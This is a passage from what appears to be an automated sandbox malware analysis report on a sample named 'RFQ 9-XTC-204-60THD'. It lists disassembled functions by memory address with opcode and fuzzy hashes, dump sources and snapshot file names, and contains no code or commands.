                                                                                                      • Instruction ID: 8d6aa08c7359bf61363fab82a367e3a6f6ea9c3345d7597e432e476e1dc64462
                                                                                                      • Opcode Fuzzy Hash: a788a0ac8b74d311e10bffebbf87d9cd39058e8da9530df530580d619b100f55
                                                                                                      • Instruction Fuzzy Hash: 36E0BF74945248EFD784EFBCD55569CFBF4EB48215F2081AA9809D3351D6319E81CB41
                                                                                                      Function 072EA370 Relevance: .0, Instructions: 20COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575688740.00000000072D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072D0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72d0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 64f7034e4d7656312cc21534bc5a2fa248beaf9a8f8636cd67d0e533a9bdb2d4
                                                                                                      • Instruction ID: a42e5487814efbe79201aa2e30c468fd57eac93c3aa6eead912a2299aa70adb5
                                                                                                      • Opcode Fuzzy Hash: 64f7034e4d7656312cc21534bc5a2fa248beaf9a8f8636cd67d0e533a9bdb2d4
                                                                                                      • Instruction Fuzzy Hash: 9EE08674918208EBC704DF94D54096CFBB9EB45300F10C199DC0513350CA329E52DF84
                                                                                                      Function 072E8E48 Relevance: .0, Instructions: 20COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575688740.00000000072D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072D0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72d0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 104e89bc2c9c7cd6d5b44984e6e760442a2c1aba70e12ae0e46df985b800e5ed
                                                                                                      • Instruction ID: 94ba2fd636d2e53f1444c9758d98da44867b1222c1856718600fa0cfe67427de
                                                                                                      • Opcode Fuzzy Hash: 104e89bc2c9c7cd6d5b44984e6e760442a2c1aba70e12ae0e46df985b800e5ed
                                                                                                      • Instruction Fuzzy Hash: E5E01A74D08248EFC744DFA4D5406ACFBB8EB89200F1481EAD84957341C6359E02DF44
                                                                                                      Function 072EFDB0 Relevance: .0, Instructions: 20COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575688740.00000000072D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072D0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72d0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 104e89bc2c9c7cd6d5b44984e6e760442a2c1aba70e12ae0e46df985b800e5ed
                                                                                                      • Instruction ID: fc7eb0fef300c04d0eb102c09421f36a4bb7b23374631428d7db13f936c3fde3
                                                                                                      • Opcode Fuzzy Hash: 104e89bc2c9c7cd6d5b44984e6e760442a2c1aba70e12ae0e46df985b800e5ed
                                                                                                      • Instruction Fuzzy Hash: 2EE01A74D08208EBC744DFA4D5506ACFBB8EB89200F1081AAC81953341C6359A02DF44
                                                                                                      Function 06E49A50 Relevance: .0, Instructions: 19COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 9b2e8b9f8ecbaa9f2323d0e29a4cde80e6fb176051af0be975e32d2c0c0d05d2
                                                                                                      • Instruction ID: 68a751a5652bc2242ff968758da5b8f96d48b1eebe369518c553924162103f03
                                                                                                      • Opcode Fuzzy Hash: 9b2e8b9f8ecbaa9f2323d0e29a4cde80e6fb176051af0be975e32d2c0c0d05d2
                                                                                                      • Instruction Fuzzy Hash: E4E0EC74D49208EFDB80EFB8E54969DBBF8EB48201F1051AACD49A3351E6305E40DF45
                                                                                                      Function 06E4C0B8 Relevance: .0, Instructions: 19COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 37197ef15836d924cdbd3b7237fed0df790b9ffb2a35eb5a8a85e105efc214fe
                                                                                                      • Instruction ID: ca009463b9b02324598c5e014a878ce1454fa114a33f37cca106cf88fe979188
                                                                                                      • Opcode Fuzzy Hash: 37197ef15836d924cdbd3b7237fed0df790b9ffb2a35eb5a8a85e105efc214fe
                                                                                                      • Instruction Fuzzy Hash: 91E0127190630CEBDBC0FFB4E90469DB7F9EB46610F1145AAC50693250E9314A14DFA6
                                                                                                      Function 072EB770 Relevance: .0, Instructions: 19COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575688740.00000000072D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072D0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72d0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 554ad680a711eb6deb01a3e0c2622a9530509e957690b540468acc9cbc497a16
                                                                                                      • Instruction ID: 3405405003d1aa31c2439308cc4a12ae7b3815d39e6c4c2097ac3e9ecf5a257c
                                                                                                      • Opcode Fuzzy Hash: 554ad680a711eb6deb01a3e0c2622a9530509e957690b540468acc9cbc497a16
                                                                                                      • Instruction Fuzzy Hash: 71E012B151531CEBDB80EFF5D90469DB7F9EB46310F0145A9C50693250E9314A14AFA5
                                                                                                      Function 072EE2D8 Relevance: .0, Instructions: 19COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575688740.00000000072D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072D0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72d0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 8f82d3217e06ce4f89dfa42463fde68b88fae1c2bb1a8709a581fd1adf3d7911
                                                                                                      • Instruction ID: 0031f6cb4c841ca8ba14c2edd46447ba8b318fbcc09a8ea89511e0a436b2310c
                                                                                                      • Opcode Fuzzy Hash: 8f82d3217e06ce4f89dfa42463fde68b88fae1c2bb1a8709a581fd1adf3d7911
                                                                                                      • Instruction Fuzzy Hash: 02E0EC74918218EBD704DFA5E54566CBBB9FB86304F50819DC80927351CB729E42DB86
                                                                                                      Function 06E4D138 Relevance: .0, Instructions: 18COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 172e511feb7cf4983827d6c8e4ae6add7aad9b1843e75e9d79935414e17a086f
                                                                                                      • Instruction ID: 84a858417a945aa99dbb62c3e01716dc0f1ffba6a866211c3d5e72726d4986f4
                                                                                                      • Opcode Fuzzy Hash: 172e511feb7cf4983827d6c8e4ae6add7aad9b1843e75e9d79935414e17a086f
                                                                                                      • Instruction Fuzzy Hash: 39E01270A0131CFFDB00DFB5D9466ADB7F6DB89210F104699D90997244DA315F009BA5
                                                                                                      Function 06E4CCE8 Relevance: .0, Instructions: 17COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 1c2522c37d0eb32d39c8fff4d3645919f06b8ce73570117dc9b87f89689e8383
                                                                                                      • Instruction ID: 4be922dc6cbac3ad307aeeb29488134512c0a9378687371a1d969e599c55e8ca
                                                                                                      • Opcode Fuzzy Hash: 1c2522c37d0eb32d39c8fff4d3645919f06b8ce73570117dc9b87f89689e8383
                                                                                                      • Instruction Fuzzy Hash: 2FE0EC70A0121CEBCB40EFA9D54569DB7E5EB85210F104198980993341EA326F049B91
                                                                                                      Function 06E4AC3F Relevance: .0, Instructions: 17COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: c7829d9ddf05952b909b881d9c62e903623cce8746e4d8e641c6baa56a878aea
                                                                                                      • Instruction ID: cfa8be67e6b14c2cc03044174f9d245beb873d93b4fa18d01314fcb32fd6a461
                                                                                                      • Opcode Fuzzy Hash: c7829d9ddf05952b909b881d9c62e903623cce8746e4d8e641c6baa56a878aea
                                                                                                      • Instruction Fuzzy Hash: 89E0BF70944208CFEB519F68E488BDDB675EB45315F10D099E819733C9D7345984CFA5
                                                                                                      Function 06E4AE94 Relevance: .0, Instructions: 16COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 3709c98c52d3d58b6ad8191fe398dba08657cbae12273e6de5dc4e5ca5d925f4
                                                                                                      • Instruction ID: 02e09d786926a5afb077d6620b66d29ab1f410d43a6c775507c4c96d5137b483
                                                                                                      • Opcode Fuzzy Hash: 3709c98c52d3d58b6ad8191fe398dba08657cbae12273e6de5dc4e5ca5d925f4
                                                                                                      • Instruction Fuzzy Hash: 2DE012749042189FDB90EF24E46479D77B2EB45301F4045D8980DB3394DB305D89CF61
                                                                                                      Function 06E4A699 Relevance: .0, Instructions: 16COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 0dcbc2eeb4d1b4f69c3f933ddbf9771d95a171fa98e32f479c7831bb1856a292
                                                                                                      • Instruction ID: f3a88ae120e5c42190263f6e67073b9000f09efa4847e8ef96f8cfad80600300
                                                                                                      • Opcode Fuzzy Hash: 0dcbc2eeb4d1b4f69c3f933ddbf9771d95a171fa98e32f479c7831bb1856a292
                                                                                                      • Instruction Fuzzy Hash: 77E0E530900258AFEB15EF24F8A4B9C76B6EB89301F108498980AB7394DB356E85CF61
                                                                                                      Function 06E4A4ED Relevance: .0, Instructions: 16COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 0aa378baad9c3a48567a9b42ac4357b313b7f566deaf65cff176d183b2087b0e
                                                                                                      • Instruction ID: 9117b652d4781e67903becf331b6e3238a3bb7e5bfb6a2bd0a9e553b34e3cced
                                                                                                      • Opcode Fuzzy Hash: 0aa378baad9c3a48567a9b42ac4357b313b7f566deaf65cff176d183b2087b0e
                                                                                                      • Instruction Fuzzy Hash: 24E01230A00318DFEB14EF14F456BAD7771EF46305F104099A909A3395DA305E859F71
                                                                                                      Function 06E4ADC9 Relevance: .0, Instructions: 16COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 8ddd13937c7ace7e61c7230dc21a03824fbed080064f61b2aa5157f3e4382966
                                                                                                      • Instruction ID: 828063c3085636aba8b38ca381cbffc7c3a85b6b505aecfb45a67fc899824aea
                                                                                                      • Opcode Fuzzy Hash: 8ddd13937c7ace7e61c7230dc21a03824fbed080064f61b2aa5157f3e4382966
                                                                                                      • Instruction Fuzzy Hash: 8DE012706041549FDB90EF24E8947EDB772EB45301F0044D8A98973394CF755DC98F60
                                                                                                      Function 06E4A8B4 Relevance: .0, Instructions: 16COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 7b8ad4bac0a876f59c8964759823483d000e20158d1a74f60af271eb4f69a4ec
                                                                                                      • Instruction ID: 8c4ddbe61f6403660d068525543cd99dfd85beec4f596f71c72d6a36175fdbe5
                                                                                                      • Opcode Fuzzy Hash: 7b8ad4bac0a876f59c8964759823483d000e20158d1a74f60af271eb4f69a4ec
                                                                                                      • Instruction Fuzzy Hash: A0E01A70904318DFEB60EF28E854B9DB772EB44311F1080DDA809A33A4CB306E848F61
                                                                                                      Function 06E4A960 Relevance: .0, Instructions: 16COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 32915aa2a2ac1b439a9866e4b2fd43f77cf362b31f66c53b109b4d50e688417f
                                                                                                      • Instruction ID: 3e79050493a1ec8536011eac1473d2ee992ab40e63e2acf8127241926ba7c81e
                                                                                                      • Opcode Fuzzy Hash: 32915aa2a2ac1b439a9866e4b2fd43f77cf362b31f66c53b109b4d50e688417f
                                                                                                      • Instruction Fuzzy Hash: 50E0E570A4412ACFEB60AF54E965BACB771EF49304F0080E8D80AA3795DA306D459F60
                                                                                                      Function 06E4A90A Relevance: .0, Instructions: 16COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: d8fecff0905c47acd48de6a54670e58e15fa9c541dde0483fa17330ff8eaf073
                                                                                                      • Instruction ID: 538f37dea89eec17adedb0c27bcfcd84717579ef55fb634990402a6c69792fa7
                                                                                                      • Opcode Fuzzy Hash: d8fecff0905c47acd48de6a54670e58e15fa9c541dde0483fa17330ff8eaf073
                                                                                                      • Instruction Fuzzy Hash: EFE07D74601218DBE7549F58E865B9D7771FB45315F1041D8D80963394DB305D84CF61
                                                                                                      Function 072A7FC0 Relevance: .0, Instructions: 16COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 193489214bebc9c0e652d65dfa964201ff8a1cb20d51a791a301c129db2e4fca
                                                                                                      • Instruction ID: 389fdabbdb79ef0e5b4616bb3b4cdebccaf4ef471b93da126cbfebd49be2cf20
                                                                                                      • Opcode Fuzzy Hash: 193489214bebc9c0e652d65dfa964201ff8a1cb20d51a791a301c129db2e4fca
                                                                                                      • Instruction Fuzzy Hash: FBD0127110531BABD715D718D844DCB77D29FC0664B04CE29A44A47524DB70ED458F89
                                                                                                      Function 06E460D9 Relevance: .0, Instructions: 13COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 53be0b37cad4c76e75a0ccfd48a9b70589e65632521dd4f2e619d301d8711762
                                                                                                      • Instruction ID: 3d814e133dae14fda76aaf038c2ea926e97f62f7445ee5d49188cdbbee5e0113
                                                                                                      • Opcode Fuzzy Hash: 53be0b37cad4c76e75a0ccfd48a9b70589e65632521dd4f2e619d301d8711762
                                                                                                      • Instruction Fuzzy Hash: 94D017B0A04729DFEB61EB34E55479A33A9AB40218F009288C409A7204DB74AE428F85
                                                                                                      Function 06E44084 Relevance: .0, Instructions: 13COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 400c808397b955bbfddaaffdccc4f7cecb97b288b41f418447be84ac32a40e3c
                                                                                                      • Instruction ID: 3d814e133dae14fda76aaf038c2ea926e97f62f7445ee5d49188cdbbee5e0113
                                                                                                      • Opcode Fuzzy Hash: 400c808397b955bbfddaaffdccc4f7cecb97b288b41f418447be84ac32a40e3c
                                                                                                      • Instruction Fuzzy Hash: 94D017B0A04729DFEB61EB34E55479A33A9AB40218F009288C409A7204DB74AE428F85
                                                                                                      Function 072AAD40 Relevance: .0, Instructions: 12COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 48341b1d0459c1ae9a018bf4e691ce1b2cff965c2e81e8993fc2b82f4d4bd5d8
                                                                                                      • Instruction ID: 8e78bb21fd53de440cac9532d644cb423655f9336eff5b16dc0efeac03ee43c2
                                                                                                      • Opcode Fuzzy Hash: 48341b1d0459c1ae9a018bf4e691ce1b2cff965c2e81e8993fc2b82f4d4bd5d8
                                                                                                      • Instruction Fuzzy Hash: E6D0A9B6049244AFC301CB20C808880BF749F06321B0880EAE3888F233C222E820C78D
                                                                                                      Function 06E4A7F7 Relevance: .0, Instructions: 11COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 89651cd97ff60754a25f4e8fb8769d0959a70ec4e9869552c40d7412fd7375c6
                                                                                                      • Instruction ID: 7dd23f299602d838557ffd286e9194ebb9ce70a5c2f17c59082218f962737a36
                                                                                                      • Opcode Fuzzy Hash: 89651cd97ff60754a25f4e8fb8769d0959a70ec4e9869552c40d7412fd7375c6
                                                                                                      • Instruction Fuzzy Hash: CFD09E709442188BE751DF24E485BDD7776EB46315F108499D909B3389DA305E45CFA0
                                                                                                      Function 06E42E8F Relevance: .0, Instructions: 10COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 11eaad2161653c7f75bcf0e267cd44e2a0ff68093a60ead6713660d5ddd97c56
                                                                                                      • Instruction ID: 524d46246c5a3acddcf92900596de031e4d98130b5f1c35915ad46e9feb2bf70
                                                                                                      • Opcode Fuzzy Hash: 11eaad2161653c7f75bcf0e267cd44e2a0ff68093a60ead6713660d5ddd97c56
                                                                                                      • Instruction Fuzzy Hash: 4AD09E78D00214CFEB50DF21E895B98BBB5FB45304F0891DA980DA3315D7301E85DF10
                                                                                                      Function 06E44C85 Relevance: .0, Instructions: 9COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 913a3d895dce39963b2110efd66d03e178bbfdfb208fc506208b48c773c4d9f9
                                                                                                      • Instruction ID: 760bdac0917ce3364c207362854e0805ea2521252418422fe5aa575b9c49b778
                                                                                                      • Opcode Fuzzy Hash: 913a3d895dce39963b2110efd66d03e178bbfdfb208fc506208b48c773c4d9f9
                                                                                                      • Instruction Fuzzy Hash: CCD0C9B0A01719CFEB21DF24DC54BDA77B1FB09319F0096E5804963214DB302E45CF42
                                                                                                      Function 06E43450 Relevance: .0, Instructions: 9COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 12ac50faafa55c6058e8c0cc35d4963f109bbb319c29cccde0da2d1dcbcda9ef
                                                                                                      • Instruction ID: 6c73275b9a708c94b31e96618ab1c9c96f9d2c08ee2745cf0171652c17525dd1
                                                                                                      • Opcode Fuzzy Hash: 12ac50faafa55c6058e8c0cc35d4963f109bbb319c29cccde0da2d1dcbcda9ef
                                                                                                      • Instruction Fuzzy Hash: 9DC00276E1001A9ACB10DAD9E8408DCB775EB95321B008026D214A6104D63515268B50
                                                                                                      Function 072AAD50 Relevance: .0, Instructions: 8COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 9145439845d19ed285ef8ed2e2731e53e84310996d3e08af64ba1494253e8755
                                                                                                      • Instruction ID: a5ced1602b898661de329531365079a034e3d75a808f59c5ffcbefa728424f66
                                                                                                      • Opcode Fuzzy Hash: 9145439845d19ed285ef8ed2e2731e53e84310996d3e08af64ba1494253e8755
                                                                                                      • Instruction Fuzzy Hash: 58C0927A140208EFC700DF69E848C85BBB8EF1977171180A1FA088B332C732EC60DA94
                                                                                                      Function 072AEE40 Relevance: .0, Instructions: 7COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: a06bafc76c83d7798005d4c2c0775c16e6539d45b3ef1b5fc9e876436ccf449a
                                                                                                      • Instruction ID: 3d17e36e0d0a410de3af635387ccddd14e9e32a09fdcb1fd287594ba1f75ab80
                                                                                                      • Opcode Fuzzy Hash: a06bafc76c83d7798005d4c2c0775c16e6539d45b3ef1b5fc9e876436ccf449a
                                                                                                      • Instruction Fuzzy Hash: D9B09232040308EB87019B84E804855BF69AB58704B448025AA09862619B32B862DAE8

                                                                                                      Non-executed Functions

                                                                                                      Function 06DFC198 Relevance: 1.4, Strings: 1, Instructions: 117COMMON
                                                                                                      Download Yara Rule
                                                                                                      Strings
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573686437.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6df0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID: E
                                                                                                      • API String ID: 0-3568589458
                                                                                                      • Opcode ID: c6dd720c0c8bdeecc501435e89a780f7d86446cc0a112fdbe413d3bb51327825
                                                                                                      • Instruction ID: 5d243625e5a4ba5c3941df383bbedf58ddb85eb51cc8985ceec69738c2d0d020
                                                                                                      • Opcode Fuzzy Hash: c6dd720c0c8bdeecc501435e89a780f7d86446cc0a112fdbe413d3bb51327825
                                                                                                      • Instruction Fuzzy Hash: D551B671E106188BEB59DF5AD88069EBBFBBFC8300F15D1EAD908A7254DB305A81CF50
                                                                                                      Function 06E43A28 Relevance: 1.4, Strings: 1, Instructions: 103COMMON
                                                                                                      Download Yara Rule
                                                                                                      Strings
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
